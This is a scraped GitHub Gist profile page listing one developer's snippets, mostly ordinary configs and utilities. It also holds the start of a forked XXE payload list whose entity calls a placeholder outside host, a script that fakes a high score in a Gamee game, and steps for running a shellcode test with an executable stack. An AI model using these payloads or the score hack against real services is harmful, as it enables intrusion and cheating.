Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View vilkoz's full-sized avatar

Vitalii Rybalko vilkoz

  • WePlay Esports
  • Kyiv, Ukraine
View GitHub Profile
to run this:
1. Compile
gcc shell_code_test.c -o shell_code_test
2. Mark binary as requiring executable stack (if you do not have execstack - sudo apt-get install prelink)
execstack -s shell_code_test
3. Run with strace (to see syscalls)
strace ./shell_code_test
@vilkoz
vilkoz / XXE_payloads
Created June 30, 2017 13:04 — forked from waywardsun/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@vilkoz
vilkoz / setup_http_server_on_android_with_termux.md
Last active March 27, 2024 18:18
setup http server on android with termux

Setting up http server on android with termux

Setting SSH server

To be able to make all procedures without pain you should have physical keyboard or just install ssh server and connect to your device shell from computer.

Folow this guide to setup ssh server.

Installing needed stuff

@vilkoz
vilkoz / search_user.js
Last active June 2, 2018 10:53
find users in UNIT cluster
//https://cheatera.unit.ua/42/projects/matcha
g = document.querySelectorAll('.highcharts-axis-labels > text > tspan');
a = [];
for (let i = 0; i < g.length; i++)
{
a.push(g[i].innerHTML);
}
a = a.map(function(x) {return x.split(" ")[1];});
a.filter(function(x) {return x});
@vilkoz
vilkoz / gamee.js
Last active February 12, 2024 19:54
Gamee Karate Kido 2 score hack
// VALUES TO CHANGE
const playTime = 16;
const SCORE = 1337;
const blockCnt = 32660
// END VALUES TO CHANGE
async function getAuthToken() {
let gameUrl = window.location.pathname;
let auth_data = {
"jsonrpc": "2.0",
@vilkoz
vilkoz / draw_chat.py
Created September 23, 2018 23:31
telegram-cli python ncurses gui
import sys,os
import curses
import json
from subprocess import check_output
from draw_menu import clear, my_raw_input
from tcp_client import tgcli_send_command
class NcChat():
def __init__(self, user):
@vilkoz
vilkoz / plot_cli.py
Created October 17, 2018 12:04
draw simple dot plot in terminal
#!/usr/bin/env python3
def generate_empty_map(x, y):
m = []
for _ in range(y):
row = []
for __ in range(x):
row.append(' ')
m.append(row)
return m
@vilkoz
vilkoz / .xinitrc
Last active February 27, 2020 23:31
Nvidia optimus laptop run Xorg on nvidia gpu by default
systemctl --user import-environment DISPLAY
xrandr --setprovideroutputsource modesetting NVIDIA-0
xrandr --auto
exec i3
#exec startkde
@vilkoz
vilkoz / clickable_date
Created February 28, 2020 18:37
Polibar plugin for date with onclick pop-up calendar
#!/bin/bash
# ~/.config/polybar/clickable_date
day=$(timedatectl | grep "Local" | cut -d ":" -f2 | cut -d " " -f3 | cut -d "-" -f3)
month=$(timedatectl | grep "Local" | cut -d ":" -f2 | cut -d " " -f3 | cut -d "-" -f2)
year=$(timedatectl | grep "Local" | cut -d ":" -f2 | cut -d " " -f3 | cut -d "-" -f1)
time=$(timedatectl | grep "Local" | awk '{print $5}' | cut -d ":" -f1,2)
echo "$day-$month-$year $time"
@vilkoz
vilkoz / inspecting_xvfb_contents_xvfbwrapper.md
Last active July 10, 2020 00:21
Inspecting contents of window inside Xvfb for xvfbwrapper python module

Add fbdir option to Xvfb object:

vdisplay = Xvfb(width=1920, height=1080, colordepth=24, fbdir="/tmp/")

This option will tell xfvb to save dumps of its contents to PROVIDED_FOLDER/Xvfb_screen<n>

The dump file will be in .xwd format, so it needs to be converted to some format supported by image viewers. For the convenience you can use the following script: